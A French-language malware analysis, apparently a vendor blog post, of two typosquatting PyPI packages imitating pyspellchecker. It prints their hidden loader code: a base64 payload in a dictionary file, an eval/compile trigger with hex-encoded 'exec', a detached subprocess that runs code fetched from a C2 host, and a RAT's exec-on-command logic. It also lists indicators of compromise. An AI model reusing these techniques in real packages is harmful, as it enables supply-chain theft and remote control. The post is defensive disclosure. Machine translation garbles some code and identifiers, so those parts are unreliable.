Les 20 et 21 janvier 2026, notre pipeline de détection des logiciels malveillants a signalé deux nouveaux paquets PyPI : spellcheckerpy et spellcheckpyLes deux prétendent être l'auteur légitime de la bibliothèque pyspellchecker. Les deux sont liés à son véritable dépôt GitHub.
Ils n'étaient pas à lui.
Le fichier du dictionnaire basque cachait une charge utile encodée en base64 qui téléchargeait un RAT Python complet. L'attaquant a d'abord publié trois versions « dormantes », avec la charge utile mais sans déclencheur, puis a activé le déclencheur avec spellcheckpy v1.2.0, ajout d'un déclencheur d'exécution obscurci qui se déclenche dès que vous importez Vérificateur orthographique.
La charge utile cachée à la vue de tous
Les auteurs de logiciels malveillants ont fait preuve de créativité. Au lieu des suspects habituels (post-installation scripts, obscurcis __init__.py), ils ont enterré la charge utile à l'intérieur ressources/eu.json.gz, un fichier qui contient légitimement les fréquences des mots basques dans le réel vérificateur orthographique paquet.
Voici la fonction d'extraction dans utils.py:
def test_file(filepath: PathOrStr, encoding: str, index: str):
filepath = f"{os.path.join(os.path.dirname(__file__), 'resources')}/{filepath}.json.gz"
with gzip.open(filepath, "rt", encoding=encoding) as f:
data = json.loads(f.read())
return data[index]Il a l'air innocent. Mais lorsqu'on l'appelle avec test_file("eu", "utf-8", "spellchecker"), il ne récupère pas les fréquences des mots. Il récupère un téléchargeur encodé en base64 caché parmi les entrées du dictionnaire sous une clé appelée spellchecker.
Dormant, puis mortel
Dans les trois premières versions, la charge utile est extraite et décodée... mais jamais exécutée :
test_index = test_file(« eu », « utf-8 », « spellchecker »)
test_index = base64.b64decode(test_index).decode(« utf-8 »)
# C'est'est tout. Pas d'exec(). La charge utile reste simplement là.Une arme chargée avec la sécurité enclenchée.
Puis vint spellcheckpy v1.2.0. L'attaquant a déplacé le déclencheur vers WordFrequency.__init__ et ajouté une obscurcissement :
if eval(compile(base64.b64decode(test_file("eu", "utf-8", "spellchecker")).decode("utf-8"),
"<string>",
bytes.fromhex("65786563").decode("utf-8"))):
self._evaluate = TrueTu le vois ? Ça octets.fromhex("65786563") se décode en «exécutif.
Au lieu d'écrire exécuter() directement, ce que les scanners statiques signaleraient, ils reconstruisent la chaîne à partir de l'hexadécimal lors de l'exécution. Importation Vérificateur orthographique, l'instanciez, et le RAT s'exécute.
Le RAT : contrôle à distance total
La charge utile de la phase 1 est un téléchargeur. Elle récupère la charge utile réelle à partir de https://updatenet[.]work/settings/history.php et le génère dans un processus détaché :
p = subprocess.Popen(
["python3", "-"],
stdin=subprocess.PIPE,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
start_new_session=True)
p.stdin.write(downloaded_payload)
p.stdin.close()
Cela start_new_session=True est essentiel : le RAT survit même si votre script se ferme. Aucun fichier n'est écrit sur le disque. Silencieux. Déconnecté.
Le RAT de niveau 2 est un cheval de Troie d'accès à distance complet présentant certaines caractéristiques intéressantes :
Empreinte système lors du démarrage :
szObjectID = ''.join(random.choice(string.ascii_letters) for x dans range(12))
szPCode = « Système d'exploitation : » + platform.platform()
szComputerName = « Nom de l'ordinateur : » + socket.gethostname()Chiffrement XOR double couche pour les communications C2 : Le RAT utilise une clé XOR de 16 octets ([3, 6, 2, 1, 6, 0, 4, 7, 0, 1, 9, 6, 8, 1, 2, 5]) pour la couche externe, puis un XOR secondaire avec la clé 123 pour les charges utiles de commande. Ce n'est pas très puissant sur le plan cryptographique, mais cela suffit pour échapper à la détection basée sur les signatures.
Protocole binaire personnalisé : Les commandes reviennent sous la forme [ID de commande de 4 octets][longueur de 4 octets][charge utile cryptée par XOR]Le RAT analyse cela, le décrypte et le distribue.
Exécution arbitraire de code : lorsque l'ID de commande 1001 arrive, le RAT l'exécute simplement :
if nCMDID == 1001:
exec(szCode)Boucle de balise persistante :
Le RAT appelle la maison toutes les 5 secondes pour https://updatenet[.]work/update1.php, en envoyant son identifiant victime (campagne
FD429DEABE) et attend les commandes. La validation du certificat SSL est désactivée via
ssl._create_unverified_context().
C2 Infrastructure
Le domaine C2 updatenet[.]work résout les problèmes d'infrastructure ayant des antécédents documentés d'hébergement d'activités malveillantes.
Enregistrement de domaine :
- Domaine :
updatenet[.]work - Enregistré : 28 octobre 2025 (environ 3 mois avant la publication du logiciel malveillant)
Infrastructure d'hébergement :
- Adresse IP :
172.86.73[.]139 - ASN : AS14956 RouterHosting LLC
- Lieu : Dallas, Texas, États-Unis
- Domaine associé : cloudzy.com
- Réseau :
172.86.73.0/24
Pourquoi est-ce important ? RouterHosting LLC opère sous le nom de Cloudzy, un fournisseur d'hébergement largement documenté comme étant un « fournisseur de commande et de contrôle » (C2P). En août 2023, Halcyon a publié un rapport intitulé « Cloudzy with a Chance of Ransomware » (Cloudzy et le risque de ransomware) qui a révélé que 40 à 60 % du trafic de Cloudzy était de nature malveillante. Le rapport établissait un lien entre l'infrastructure de Cloudzy et des groupes APT de Chine, d'Iran, de Corée du Nord, de Russie et d'autres pays, ainsi qu'avec des opérateurs de ransomware et un fournisseur israélien de logiciels espions soumis à des sanctions.
Lien avec les campagnes précédentes
Ce n'est pas un incident isolé. En novembre 2025, HelixGuard a documenté une attaque similaire. en utilisant le package spellcheckers (même cible, nom différent). Cette campagne utilisait la même structure RAT : chiffrement XOR, ID de commande 1001, exec(), mais une infrastructure C2 différente (dothebest[.]store). Le rapport HelixGuard a établi un lien entre cette campagne et une opération d'ingénierie sociale menée par de faux recruteurs ciblant les détenteurs de cryptomonnaies.
Domaines différents, même stratégie. Il semble s'agir exactement du même acteur malveillant.
Indicateurs de compromission
Paquets : spellcheckerpy (toutes les versions), spellcheckpy (toutes les versions)
Infrastructure C2 :
updatenet[.]workhttps://updatenet[.]work/settings/history.php(livraison de phase 2)https://updatenet[.]work/update1.php(point de terminaison de balise)172.86.73[.]139(AS14956 RouterHosting LLC / Cloudzy)
Identifiants de campagne :
- Identifiant de la campagne :
FD429DEABE - Clé XOR :
03 06 02 01 06 00 04 07 00 01 09 06 08 01 02 05 - XOR secondaire :
0x7B(123)
Emplacement de la charge utile :
ressources/eu.json.gz, correcteur orthographique clé
Sécurisez votre logiciel dès maintenant.



.avif)
